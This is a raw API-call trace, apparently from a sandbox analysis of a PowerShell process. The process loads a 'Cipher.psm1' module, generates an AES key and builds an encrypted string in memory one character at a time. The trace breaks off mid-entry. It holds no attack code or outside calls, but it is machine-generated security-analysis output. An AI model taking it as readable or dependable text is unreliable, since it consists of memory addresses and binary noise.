TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.571] GetConsoleOutputCP () returned 0x1b5 [0138.572] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.572] GetConsoleOutputCP () returned 0x1b5 [0138.572] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.572] GetConsoleOutputCP () returned 0x1b5 [0138.573] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.573] GetConsoleOutputCP () returned 0x1b5 [0138.573] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.573] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0138.574] GetConsoleOutputCP () returned 0x1b5 [0138.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0138.574] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.574] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697f680*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x697f680*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0138.575] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.575] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0138.580] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.581] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.582] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.582] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.582] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.582] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.582] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.583] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0138.583] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.583] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.583] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.583] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.584] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x42ebdc0) returned 1 [0138.585] CryptGenKey (in: hProv=0x42ebdc0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e85538) returned 1 [0138.585] CryptContextAddRef (hProv=0x42ebdc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.585] CryptExportKey (in: hKey=0x8e85538, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.585] CryptExportKey (in: hKey=0x8e85538, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6989230, pdwDataLen=0x99ae894 | out: pbData=0x6989230*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.585] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x91c0\x698\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667") returned 0x0 [0138.585] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.585] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.585] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.585] SysStringLen (param_1="") returned 0x8 [0138.585] SysStringLen (param_1="Q") returned 0x8 [0138.585] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.586] SysStringLen (param_1="\x53d4\x971e\x5ccd\xbda\x264d\xb5b1\x16bc\x5619") returned 0x8 [0138.586] SysStringLen (param_1="\x53d4\x971e\x5ccd\xbda\x264d\xb5b1\x16bc\x5619") returned 0x8 [0138.586] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.586] SysStringLen (param_1="QK") returned 0x8 [0138.586] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.586] SysStringLen (param_1="\x8dba\xdd79\x41c1\xe9d\xb6c8\x1377\xd48d\xc1c6") returned 0x8 [0138.586] SysStringLen (param_1="\x8dba\xdd79\x41c1\xe9d\xb6c8\x1377\xd48d\xc1c6") returned 0x8 [0138.586] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.586] SysStringLen (param_1="QKl") returned 0x8 [0138.586] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.586] SysStringLen (param_1="\x93a4\xf995\xb6f2\x2e6d\x5eba\xf4ff\x39ff\xdc1a") returned 0x8 [0138.586] SysStringLen (param_1="\x93a4\xf995\xb6f2\x2e6d\x5eba\xf4ff\x39ff\xdc1a") returned 0x8 [0138.586] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.586] SysStringLen (param_1="QKly") returned 0x8 [0138.586] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.586] SysStringLen (param_1="\xfed2\xa9a\xe918\x7f2a\x7d71\x5f9b\xbc8a\x81c1") returned 0x8 [0138.586] SysStringLen (param_1="\xfed2\xa9a\xe918\x7f2a\x7d71\x5f9b\xbc8a\x81c1") returned 0x8 [0138.586] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.586] SysStringLen (param_1="QKlyl") returned 0x8 [0138.586] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.586] SysStringLen (param_1="\xec43\x9d9a\x5c07\xb74a\x2e1e\x2aa4\x960f\x2bd5") returned 0x8 [0138.586] SysStringLen (param_1="\xec43\x9d9a\x5c07\xb74a\x2e1e\x2aa4\x960f\x2bd5") returned 0x8 [0138.587] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.587] SysStringLen (param_1="QKlyli") returned 0x8 [0138.587] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.587] SysStringLen (param_1="\xacf9\x986c\xb37b\x9de5\x485b\xc349\x5817\xeacc") returned 0x8 [0138.587] SysStringLen (param_1="\xacf9\x986c\xb37b\x9de5\x485b\xc349\x5817\xeacc") returned 0x8 [0138.587] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.587] SysStringLen (param_1="QKlyli9") returned 0x8 [0138.587] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.587] SysStringLen (param_1="\xf05\x9cf0\xdab8\x1f1d\x8c6b\xe1f4\x12f0\x545f") returned 0x8 [0138.587] SysStringLen (param_1="\xf05\x9cf0\xdab8\x1f1d\x8c6b\xe1f4\x12f0\x545f") returned 0x8 [0138.587] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.587] SysStringLen (param_1="QKlyli9P") returned 0x8 [0138.587] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.587] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681") returned 0x8 [0138.587] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681") returned 0x8 [0138.587] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681") returned 0x8 [0138.587] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681") returned 0x10 [0138.587] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.587] SysStringLen (param_1="QKlyli9Poຼ⸚ᑻ뇤噒") returned 0x10 [0138.587] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.588] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xc3dc\x6717\xa2fb\xd762\x32d\xfd7f\x4c27\x4c00") returned 0x10 [0138.588] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xc3dc\x6717\xa2fb\xd762\x32d\xfd7f\x4c27\x4c00") returned 0x10 [0138.588] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.588] SysStringLen (param_1="QKlyli9PoSຼ⸚ᑻ뇤噒") returned 0x10 [0138.588] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.588] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x3892\x8300\xa470\x7948\x4958\x535\x3e02\x27bf") returned 0x10 [0138.588] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x3892\x8300\xa470\x7948\x4958\x535\x3e02\x27bf") returned 0x10 [0138.588] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.588] SysStringLen (param_1="QKlyli9PoSn⸚ᑻ뇤噒") returned 0x10 [0138.588] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.588] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x31b7\xe7e2\x24cd\x98ce\x1d40\x97d3\xb6a\x3c6c") returned 0x10 [0138.588] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x31b7\xe7e2\x24cd\x98ce\x1d40\x97d3\xb6a\x3c6c") returned 0x10 [0138.588] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.588] SysStringLen (param_1="QKlyli9PoSnsᑻ뇤噒") returned 0x10 [0138.588] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.588] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xe59b\x40aa\x693c\xa3cb\x8ffc\x6aaa\x1c0f\x87ec") returned 0x10 [0138.588] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xe59b\x40aa\x693c\xa3cb\x8ffc\x6aaa\x1c0f\x87ec") returned 0x10 [0138.588] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.589] SysStringLen (param_1="QKlyli9PoSnssᑻ뇤噒") returned 0x10 [0138.589] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.589] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xd272\xb233\xbdd3\x54ea\x7498\xbf6b\xe0e8\xe5d0") returned 0x10 [0138.589] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xd272\xb233\xbdd3\x54ea\x7498\xbf6b\xe0e8\xe5d0") returned 0x10 [0138.589] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.589] SysStringLen (param_1="QKlyli9PoSnssn뇤噒") returned 0x10 [0138.589] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.589] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xa6c7\x6a9e\x3cc0\x3a7b\x8566\x724f\xf721\xa147") returned 0x10 [0138.589] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xa6c7\x6a9e\x3cc0\x3a7b\x8566\x724f\xf721\xa147") returned 0x10 [0138.589] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.589] SysStringLen (param_1="QKlyli9PoSnssnO噒") returned 0x10 [0138.589] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.589] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xce41\x37f6\x24e5\x5533\x7caa\x4b15\xf553\xaa80") returned 0x10 [0138.589] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\xce41\x37f6\x24e5\x5533\x7caa\x4b15\xf553\xaa80") returned 0x10 [0138.589] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.589] SysStringLen (param_1="QKlyli9PoSnssnOi") returned 0x10 [0138.589] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.590] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e") returned 0x10 [0138.590] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e") returned 0x10 [0138.590] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e") returned 0x10 [0138.590] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e") returned 0x18 [0138.590] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.590] SysStringLen (param_1="QKlyli9PoSnssnOi1兼㋕晧쳗") returned 0x18 [0138.590] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.590] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\xc301\xdbfb\xc773\xeb8d\x1024\x4340\xce91\xd789") returned 0x18 [0138.590] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\xc301\xdbfb\xc773\xeb8d\x1024\x4340\xce91\xd789") returned 0x18 [0138.590] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.590] SysStringLen (param_1="QKlyli9PoSnssnOi1k兼㋕晧쳗") returned 0x18 [0138.590] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.590] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\xe7d1\x5c5a\x338d\xf7b5\xb976\xf8ca\x9ac1\x3dba") returned 0x18 [0138.590] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\xe7d1\x5c5a\x338d\xf7b5\xb976\xf8ca\x9ac1\x3dba") returned 0x18 [0138.590] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.590] SysStringLen (param_1="QKlyli9PoSnssnOi1kp㋕晧쳗") returned 0x18 [0138.590] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.591] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\xe2d8\x8632\x3533\x3da5\xcb64\x4044\xd3a8\xe68a") returned 0x18 [0138.591] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\xe2d8\x8632\x3533\x3da5\xcb64\x4044\xd3a8\xe68a") returned 0x18 [0138.591] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.591] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5晧쳗") returned 0x18 [0138.591] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.591] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\xb307\x9f9e\xcee2\x2bd\xb14b\x3b2\x6b9d\xb42") returned 0x18 [0138.591] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\xb307\x9f9e\xcee2\x2bd\xb14b\x3b2\x6b9d\xb42") returned 0x18 [0138.591] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.591] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5Q晧쳗") returned 0x18 [0138.591] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.591] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x97e7\x8716\x6087\x4d9\x2ddf\x98ca\x78d5\x4c4a") returned 0x18 [0138.591] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x97e7\x8716\x6087\x4d9\x2ddf\x98ca\x78d5\x4c4a") returned 0x18 [0138.591] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.591] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QP쳗") returned 0x18 [0138.591] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.591] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x7a8e\x9cd2\x53f5\xa780\xfa67\x884f\x57ef\xb837") returned 0x18 [0138.592] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x7a8e\x9cd2\x53f5\xa780\xfa67\x884f\x57ef\xb837") returned 0x18 [0138.592] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.592] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPD") returned 0x18 [0138.592] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.592] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x7785\x1da6\xe19d\x84ff\xd407\x8978\xc377\x93b6") returned 0x18 [0138.592] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x7785\x1da6\xe19d\x84ff\xd407\x8978\xc377\x93b6") returned 0x18 [0138.592] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.592] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDL") returned 0x18 [0138.592] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.592] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe") returned 0x18 [0138.592] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe") returned 0x18 [0138.592] SysStringLen 